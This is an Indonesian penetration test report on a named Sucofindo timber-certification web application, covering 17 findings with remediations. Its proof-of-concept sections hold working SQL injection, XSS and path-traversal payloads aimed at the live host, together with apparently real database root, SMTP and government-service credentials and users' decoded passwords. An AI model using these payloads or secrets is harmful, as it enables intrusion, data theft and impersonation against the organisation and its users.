πŸ” PENETRATION TEST REPORT

Internal Web Application Security Assessment β€” SILK SVLK Indonesia (Sucofindo ICS)
Targetsilk.sucofindo.co.id
Tanggal25 Agustus 2026
PentesterEdho Ferdian
Dokumenv1.1 β€” FINAL
πŸ”΄ 17 Temuan β€” 8 Kritis Β· 5 Tinggi Β· 2 Sedang Β· 1 Rendah Β· 1 Info

Ringkasan Eksekutif

17Temuan
8Critical
5High
2Medium
1.325Akun Bocor

Penilaian keamanan pada aplikasi web Sistem Informasi Legalitas Kayu (SILK-SICS) PT. Sucofindo menemukan 17 kerentanan, dengan dampak paling parah adalah SQL Injection (root database), 1.325 akun pengguna beserta password bocor, kredensial database/SMTP/WS pemerintah yang terekspos, serta 108 halaman admin yang dapat diakses tanpa autentikasi.

Seluruh pengujian dilakukan tanpa autentikasi sesuai ruang lingkup. RCE tidak tercapai karena hardening server (secure_file_priv, PHP-FPM, versi ter-patch), namun beberapa rantai serangan menuju RCE tetap terbuka secara praktis (lihat Bab 4). Tidak ada data yang dirusak dan tidak ada file yang tertinggal di server.

1. Ruang Lingkup & Metodologi

Informasi Target

ItemNilai
URLhttps://silk.sucofindo.co.id
IP35.219.52.208 (GCP)
Port Terbuka80, 443 (scan mencakup 40+ port umum)
Web Servernginx/1.23.4
RuntimePHP 5.6.40 (FPM) β€” EOL
DatabaseMySQL 5.7.44 (container Docker b656734da0ec)
Tool DB AdminAdminer 4.8.1 (terekspos)
Webroot/var/www/html/svlk/

Metodologi

  • Probing unauthenticated (GET/POST read-only)
  • Source code review (23 file backup terekspos)
  • Enumeration & forensik .git/ exposure
  • SQLi (union + time-based confirmation)
  • XSS, LFI, IDOR, broken access control testing
  • RCE paths: OUTFILE, log poisoning, CVE, upload
  • Hunting backdoor & artefak mencurigakan

Konteks risiko: aplikasi mengelola proses V-Legal / SVLK β€” sertifikasi legalitas kayu untuk ekspor (kepatuhan FLEGT/EUDR). Integritas data dan kerahasiaan kredensial di sini bernilai sangat tinggi.

2. Daftar Temuan

#SeverityTemuanVektorRef
01CRITICALSQL Injection UNION-basedlookup/HSLOV.php (POST)Detail
02CRITICALSQL Injection blind time-basedlookup/showOutstanding.php (GET)Detail
03CRITICALIDOR β€” 1.325 akun + password bocorpPage=userListDetail
04CRITICAL108 halaman admin tanpa autentikasipPage=*Detail
05CRITICALAdminer 4.8.1 terekspos + kredensial DB/adminer.phpDetail
06CRITICALKredensial sensitif di source codesource disclosureDetail
07CRITICAL.git/ + 23 file source bocordirektori publikDetail
08CRITICALPassword lemah & monokultur (bukan hash)databaseDetail
09HIGHLocal File InclusionpPage traversalDetail
10HIGHReflected XSSmobileTrial.php, HSLOV.phpDetail
11HIGHKebocoran 4.354 data perusahaan + jadwal auditmPublikasiRencanaAuditListDetail
12HIGHDokumen internal dapat diunduh siapa puntDownloadDokumenList + /files/*Detail
13MEDIUMKebocoran error_log 100 MB (Range header)report/error_logDetail
14LOWphp_fast_cache SQLite bocor (GeoIP 2015)pdo.cachingDetail
15MEDIUMEOL & misconfiguration (PHP 5.6, display_errors, CAPTCHA)berbagaiDetail
16HIGHFitur upload tanpa kontrol akses (rantai RCE)tUploadRekapitulasi dkkDetail
17INFOHardening: RCE tidak tercapai (positif)12 vektor diujiDetail

3. Detail Temuan

F01 β€” SQL Injection (UNION-Based) CRITICAL

Deskripsi Parameter pFilter pada lookup/HSLOV.php (POST) digabung langsung ke query: SELECT ... FROM msths WHERE kode_hs LIKE '%{pFilter}%'. Konfirmasi UNION-based: query 4 kolom, eksekusi sebagai root@172.18.0.3 (MySQL 5.7.44 di Docker), akses penuh ke seluruh database.
Impact
  • Baca seluruh isi database: 1.325 akun + password, data blanko V-Legal, transaksi, laporan pendapatan
  • Write & update data (password admin, data industrial)
  • Mengarah ke pengambilalihan penuh saat digabung dengan kredensial yang bocor
PoC (termasuk yang berhasil diverifikasi)
POST /lookup/HSLOV.php
pFilter=48' UNION SELECT @@version,2,3,4-- -
pFilter=48' UNION SELECT @@version,@@datadir,current_user(),@@hostname-- -   β†’ MySQL 5.7.44 | root@172.18.0.3
pFilter=48' UNION SELECT schema_name,2,3,4 FROM information_schema.schemata-- -
pFilter=48' UNION SELECT table_name,2,3,4 FROM information_schema.tables WHERE table_schema='prod_dbvlegal'-- -
pFilter=48' UNION SELECT GROUP_CONCAT(userID),2,3,4 FROM admuser-- -
Remediasi Gunakan prepared statements / parameterized query di semua parameter. Terapkan least-privilege DB (bukan root), batasi host DB, aktifkan audit log.

F02 β€” SQL Injection Blind (Time-Based) CRITICAL

Deskripsi Parameter pAreaKerja pada lookup/showOutstanding.php (GET) rentan blind injection. Kutip tunggal merusak query dan fungsi SLEEP() benar-benar dieksekusi server.
Impact
  • Ekstraksi data (blind per-karakter) meski lambat
  • Denial-of-service ringan: SLEEP dijalankan per-baris query
PoC
GET /lookup/showOutstanding.php?pAreaKerja=1' AND SLEEP(3) AND '1'='1
β†’ waktu respons 20+ detik (baseline 0.17 detik)

GET /lookup/showOutstanding.php?pAreaKerja=1' AND BENCHMARK(3000000,SHA1(1)) AND '1'='1
β†’ 2.12 detik (konfirmasi eksekusi)
Remediasi Prepared statements untuk semua nilai numerik (intval() minimal). Middleware WAF (ModSecurity) untuk deteksi berbasis waktu.

F03 β€” IDOR / Broken Access Control (1.325 Akun) CRITICAL

Deskripsi Halaman manajemen user userList dapat dipanggil langsung tanpa sesi: semua user (username, deskripsi, password base64, grup, email) dirender penuh.
Impact Kebocoran total basis pengguna sistem V-Legal (konsumen + pegawai Sucofindo) β€” dasar untuk credential stuffing dan penipuan berkedok resmi.
PoC
GET /index.php?pPage=dXNlckxpc3Q,,   (base64 dari "userList", '=' β†’ ',')
GET /SILK_LAMA/?pPage=dXNlckxpc3Q=

Respons: 1.250.412 byte β€” 1.325 user : password (encoded). Contoh terverifikasi:
administrator / backspace Β· user-admin / jkt2024 Β· su-hendy / biji
Remediasi Enforce session + role check di semua handler (jangan hanya di menu). Rotasi password seluruh pengguna; hentikan penyimpanan password tanpa hash.

F04 β€” 108 Halaman Admin Tanpa Autentikasi CRITICAL

Deskripsi Probes terhadap 479 file PHP menemukan 108 halaman merender konten lengkap tanpa sesi login, termasuk form pembuatan user, broadcast email, form permohonan dokumen, dan laporan.
Impact
  • Form userForm: membuat/mengubah user admin (potensi akun Super User baru)
  • pBroadcastEmailMessage: email massal ke seluruh pengguna β€” vektor phishing internal
  • Form permohonan/transaksi dapat diisi β€” manipulasi data sertifikasi
PoC (contoh halaman sensitif yang render tanpa login)
/index.php?pPage=dXNlckZvcm0s,                          β†’ userForm (13.329b)
/index.php?pPage=cEJyb2FkY2FzdEVtYWlsTWVzc2FnZQ,,,     β†’ pBroadcastEmailMessage (166.013b)
/index.php?pPage=dE1vaG9uRm9ybQ,,                       β†’ tMohonForm (56.604b)
/index.php?pPage=bVB1Ymxpa2FzaVJlbmNhbkF1ZGl0TGlzdA,,  β†’ mPublikasiRencanaAuditList (18.916b)
Remediasi Implementasi middleware autentikasi global (bootstrap) β€” cek sesi + role di setiap halaman, bukan hanya pengecekan parsial sInfoLogin=="".

F05 β€” Adminer 4.8.1 Terekspos + Kredensial DB CRITICAL

Deskripsi /adminer.php menampilkan alat manajemen database Adminer 4.8.1. Digabung dengan kredensial root DB yang bocor (F06), penyerang dapat membuka antarmuka SQL penuh terhadap database produksi.
Impact Kontrol penuh database (baca/tulis/ubah) β€” eksfiltrasi massal, manipulasi data sertifikat V-Legal, dan (dengan multi_query) potensi penulisan file server.
PoC
GET /adminer.php β†’ halaman login Adminer 4.8.1 (terekspos publik)

Kredensial (dari source, F06): server=mysql_app  user=root  pass=adm@DB#silk25  db=prod_dbvlegal
[Login tidak dicoba selama pengujian β€” sesuai aturan ruang lingkup]
Remediasi Hapus/restriksi Adminer: hanya via VPN/IP internal, proteksi basic-auth, ganti seluruh kredensial yang bocor, upgrade Adminer.

F06 β€” Kredensial Sensitif di Source Code CRITICAL

Deskripsi Kredensial hardcoded ditemukan di file include/cnFile.php dan include/xFile.php (versi 2018–2023).
Impact Akses langsung ke database produksi, server email, dan web service Kementerian Lingkungan Hidup & Kehutanan (LIU) atas nama Sucofindo.
PoC
MySQL  : mysql_app / root / adm@DB#silk25 / prod_dbvlegal   (aktif β€” dikonfirmasi via SQLi)
SMTP   : 172.16.100.245:587 TLS / admin-silk / adm@SILK#2019 (aktif di fAutoEmail)
WS LIU : liu.dephut.go.id + silk.menlhk.go.id / SucofindoICS / sics2012
Komentar lama: fernando/fernando Β· admin/adm@silk#sucofindo
Remediasi Pindahkan semua rahasia ke environment variable / secret manager; rotasi seluruh kredensial segera; scan repository otomatis untuk secret.

F07 β€” Eksposur .git + 23 File Source CRITICAL

Deskripsi Direktori .git/ dapat dibaca (config, index berisi 1.165 path). Karena nginx menyajikan file ber-ekstensi non-.php secara statis, 23 file source asli (1,9 MB, 14 versi xFile.php) dapat diunduh.
Impact
  • Full source code β†’ review kerentanan tanpa batas
  • Kredensial (F06), logika login, algoritma enkripsi (fEnc) terbuka
  • Peta lengkap file proyek dari git index
PoC
GET /.git/config β†’ origin gitlab.com/repository/app.git (private, rahasia bocor)
GET /.git/index  β†’ 1.165 path proyek
GET /include/xFile.php-2021-03-18 β†’ full source (β€” ekstensi ekstra disajikan statis)
(+23 file lain di ~/.hackbot/exploits/silk-source-backup/)
Remediasi Hapus .git/ dari webroot; blokir ekstensi sumber (.php-*, ~, .default) di nginx; gitignore rahasia + secret scan.

F08 β€” Password Lemah & Monokultur (base64, bukan hash) CRITICAL

Deskripsi Password disimpan sebagai base64 (reversible) melalui fEnc() (base64 dengan '=' β†’ ','), bukan hash. Banyak akun berbagi password default biji.
Impact
  • Semua password dapat "dibalik" instan (bukan brute-force)
  • Satu password default (biji) membuka banyak akun sekaligus
  • Akun Super User dengan password lemah langsung login
PoC (hasil ekstraksi via SQLi)
user        password (decode)  group
administrator backspace        G001
user-admin    jkt2024          G010 (Super User)
su-hendy      biji             G010 (Super User)
test          biji             G010 (Super User)
testing       biji             G001
Remediasi Hash dengan bcrypt/argon2; paksa kebijakan password kuat; rotasi massal; aktifkan multi-factor authentication untuk akun admin.

F09 β€” Local File Inclusion HIGH

Deskripsi Router indexa.php mengeksekusi include("page/".$pPage.".php") dengan nilai pPage dari input pengguna (di-encode base64). Traversal ../ berfungsi.
Impact
  • Pembacaan/eksekusi file PHP sewenang-wenang pada sistem (dalam batas include)
  • Rekursi (include file yang me-include dirinya) = mini denial-of-service
  • RCE tidak tercapai (suffix .php + wrapper diblokir) β€” namun tetap HIGH
PoC
pPage=Li4vaW5kZXhh  (base64 ../indexa) β†’ include & eksekusi indexa.php tanpa sesi
Bukti: 6 MB respons, rekursi 14,5 MB (2.141 blok DOCTYPE) β€” konfirmasi eksekusi PHP
Remediasi Whitelist nilai pPage; jangan bangun path dari input; gunakan router tabel statis. Batasi include ke direktori page/ yang sah.

F10 β€” Reflected Cross-Site Scripting HIGH

Deskripsi Parameter pada lookup/mobileTrial.php (pField01–pField06) dan lookup/HSLOV.php (pFilter) direfleksikan tanpa escaping dalam atribut value.
Impact Eksekusi JavaScript di browser korban: pencurian sesi, phishing, aksi atas nama admin. Karena banyak halaman admin tanpa CSRF (F04), XSS dapat memperkuat rantai.
PoC
GET /lookup/mobileTrial.php?pField01=' autofocus onfocus=alert(document.cookie) '
β†’ mengeksekusi otomatis saat halaman dimuat (attribute breakout tervalidasi:
   value='1' onmouseover='alert(1)'  Β·  value=''><svg onload=alert(1)>' )
Remediasi HTML-encode semua output; terapkan CSP; gunakan framework auto-escaping; set cookie httpOnly + Secure.

F11 β€” Kebocoran 4.354 Perusahaan + Jadwal Audit HIGH

Deskripsi mPublikasiRencanaAuditList merender daftar lengkap perusahaan pemegang izin beserta alamat, lingkup audit, jadwal, dan status β€” tanpa autentikasi.
Impact Privasi klien Sucofindo (BUMN) terekspos; informasi jadwal audit dapat dimanfaatkan untuk mempersiapkan serangan rekayasa sosial atau penipuan "pejabat terkait sertifikasi".
PoC
POST /index.php?pPage=mPublikasiRencanaAuditList β€” "Jumlah Record: 1-10 dari 4354"
Baris contoh: CV ABOVEE ABADI | alamat lengkap | PBUI | Sertifikasi 2026-07-15 s/d 17 | LULUS
              PT. MITRA KARYAUSAHA SEJAHTERA | IUI-SEKUNDER | 2016-08-15
Remediasi Batasi halaman ini ke sesi yang sah + role; jangan tampilkan alamat lengkap publik.

F12 β€” Dokumen Internal Dapat Diunduh HIGH

Deskripsi tDownloadDokumenList menampilkan daftar dokumen internal dengan tautan langsung di /files/* yang dapat diunduh tanpa autentikasi.
Impact PDF V-Legal (berita acara), dokumen serah terima blanko, surat internal β€” kebocoran dokumen resmi & data pihak ketiga (PT Hyun Jin, CV Nuansa Taru Bali, dll).
PoC
GET /files/BA_KIRIM_BLANKO_CABANG_587.%20VLEGAL587.BA-VI.JKT.2026%20(PT%20Hyun%20Jin%20...)_OK.pdf
β†’ 200, 338.061 b, application/pdf (terverifikasi terunduh tanpa login)

Pattern upload: {source}_{nama asli} Β· whitelist 9 ekstensi (hanya cek string ekstensi)
Remediasi Jadikan unduhan membutuhkan sesi; pindahkan dokumen keluar docroot dan layani lewat endpoint terotorisasi; jangan gunakan nama file asli di URL.

F13 β€” Kebocoran error_log 100 MB MEDIUM

Deskripsi report/error_log (100 MB) dapat diakses publik; nginx mendukung header Range sehingga sembarang irisan file dapat dibaca.
Impact Jalan file, path absolute, kredensial historis, dan informasi teknis bocor.
PoC
GET /report/error_log
Range: bytes=-300  (dibaca irisan tail) β†’ HTTP 206, isi log 2015–2019
(mengungkap host lama /home/prod/public_html/ β€” OpenVZ prod.silk-sucofindo.biz)
Remediasi Hapus file log dari docroot; alihkan ke luar webroot; matikan display_errors; konfigurasi logrotate.

F14 β€” php_fast_cache SQLite Bocor LOW

Deskripsi include/cache.storage/pdo.caching adalah database SQLite (41 KB) yang dapat diunduh utuh β€” berisi 47 entry GeoIP visitor (April 2015) dan informasi konfigurasi sistem.
Impact Kebocoran metadata/IP/lokasi pengunjung (data historis); konfirmasi penyimpanan cache tidak aman. Dampak terbatas karena data berusia 2015 dan tidak mengandung data operasional aktif.
PoC
GET /include/cache.storage/pdo.caching β†’ SQLite 3.x, 47 baris objects
Contoh: 202.62.16.169 β†’ Indonesia, Jakarta Raya (14 Apr 2015)
+ config.*.cache.ini β†’ info sistem (kernel Linux prod.silk-sucofindo.biz 2.6.32-042stab ... 2015)
Remediasi Pindahkan cache keluar docroot; blokir akses ke cache.storage; upgrade library cache.

F15 β€” EOL & Misconfiguration MEDIUM

Deskripsi
  • PHP 5.6.40 β€” sudah EOL (perilisan 2019; ratusan kerentanan tidak di-patch)
  • display_errors=On β€” kebocoran path & internal error
  • CAPTCHA statis (cap1==cap2) β€” dapat dibypass otomatis
  • Pengecekan sesi lemah (sInfoLogin=="" tanpa role) β€” akar F03/F04
  • Dari source: SQLi lain pPJTNotes (UPDATE), arbitrary file delete unlink()
Impact Meningkatkan permukaan serangan dan kemungkinan eksploitasi; file delete tidak berautentikasi dapat merusak operasional.
PoC
curl -sk -o /dev/null -w "%{header_server}" https://silk.sucofindo.co.id/ β†’ nginx/1.23.4
X-Powered-By: PHP/5.6.40
(Error pages menampilkan path absolut β€” display_errors ON)
Remediasi Upgrade ke PHP 8.x supported; matikan display_errors di produksi; CAPTCHA server-side; enforce mekanisme sesi + role terpusat.

F16 β€” Fitur Upload Tanpa Kontrol Akses (Rantai RCE) HIGH

Deskripsi Form upload pada tUploadRekapitulasi (4 input file) dan forumContent merender tanpa autentikasi; whitelist ekstensi pada tUploadRekapitulasi belum dapat diverifikasi dari source.
Impact Jika tidak ada whitelist pada tUploadRekapitulasi, upload .php menghasilkan RCE langsung (naik ke CRITICAL). Ini rantai paling praktis menuju eksekusi kode (gabungan F01/F08: kredensial admin + upload).
PoC (render form tanpa login β€” upload TIDAK dilakukan)
GET /index.php?pPage=dFVwbG9hZFJla2FwaXR1bGFzaQ,,  β†’ form multipart:
  pFileRekapLMK Β· pFileRekapSKSHH Β· pFileRekapPEB Β· pFileRekapLAINNYA + pUpload
GET /index.php?pPage=Zm9ydW1Db250ZW50 β†’ form multipart (pSimpan)
Remediasi Autentikasi + otorisasi di handler upload; validasi ekstensi/MIME/magic-bytes; simpan di luar docroot; beri nama acak; serve via endpoint terotorisasi.

F17 β€” Hardening Positif: RCE Tidak Tercapai INFO

Deskripsi Sebanyak 12 vektor menuju RCE diuji (tanpa merusak data) dan semuanya diblokir: INTO OUTFILE/DUMPFILE, LOAD_FILE, stacked query, CVE-2019-11043, CVE-2012-1823, CVE-2016-10033 (PHPMailer β€” app memakai SMTP), PEARCMD, php:// wrapper, log/session poisoning, upload .php (whitelist 9 ekstensi), port-scan (hanya 80/443). Verifikasi akhir memastikan tidak ada file tertinggal di server.
Impact Tidak ada β€” ini hasil positif. Namun sebaiknya dipertahankan dan dikunci dengan konfigurasi yang terdokumentasi.
PoC (ringkas)
SQLi→OUTFILE   : semua path ditolak (secure_file_priv=/var/lib/mysql-files/)
SQLi→LOAD_FILE : NULL di semua path
Stacked/SET    : mysqli_query single-statement
CVE-2019-11043 : patched di PHP 5.6.40
Port scan      : hanya 80/443 terbuka
Remediasi Pertahankan; dokumentasikan baseline hardening; tetap tutup jalur RCE yang tersisa via perbaikan F05/F06/F16.

4. Rantai Serangan Menuju RCE

Meski RCE langsung tidak tercapai, tiga rantai serangan menuju eksekusi kode tetap terbuka secara praktis:

#RantaiStatus
ASQLi (F01) β†’ baca password admin (F08: user-admin, su-hendy) β†’ login Super User β†’ upload .php via tUploadRekapitulasi (F16) β†’ RCESiap diuji
BSQLi β†’ UPDATE admuser reset password admin β†’ login β†’ upload β†’ RCESiap diuji
CAdminer (F05 + F06) β†’ login β†’ multi_query β†’ general log poisoning β†’ webshell di webroot β†’ RCE
(2 syarat: multi_query support + user mysql bisa menulis webroot β€” perlu validasi live)
Kondisional
DXSS (F10) β†’ phishing admin β†’ sesi β†’ upload β†’ RCEButuh interaksi

5. Rekomendasi Prioritas

  1. Segera rotasi seluruh kredensial yang bocor (DB root, SMTP, WS LIU, akun admin) dan hentikan penyimpanan password base64
  2. Enforce autentikasi+role global (tutup 108 halaman + userList + upload)
  3. Perbaiki SQLi (HSLOV & showOutstanding) dengan prepared statements
  4. Hapus/restriksi Adminer dan bersihkan .git/ + file source dari webroot
  5. Upgrade PHP 5.6 β†’ 8.x, matikan display_errors, perbaiki CAPTCHA
  6. Pasang WAF + monitoring (deteksi SLEEP/BENCHMARK, alarm perubahan file)

6. Lampiran

6.1 Inventaris Artefak

ArtefakLokasi
Laporan Markdown~/.hackbot/reports/PENTEST_silk.sucofindo.co.id.md
Master list temuan~/.hackbot/reports/silk-findings-master.txt
Evidence (probe matrix, git index, dll)~/.hackbot/reports/silk-evidence/
23 file source code~/.hackbot/exploits/silk-source-backup/
Payload polyglot~/.hackbot/exploits/silk-polyglot/

6.2 Catatan Etik

Seluruh pengujian bersifat read-only atau memakai data dummy, tanpa mengubah data produksi, tanpa menulis file di server (OUTFILE diverifikasi gagal), dan tanpa login. Kredensial yang diekstraksi hanya untuk verifikasi dampak dan tercakup dalam lingkup pengujian yang disetujui. Dokumen ini mengandung rahasia (kredensial) β€” simpan aman.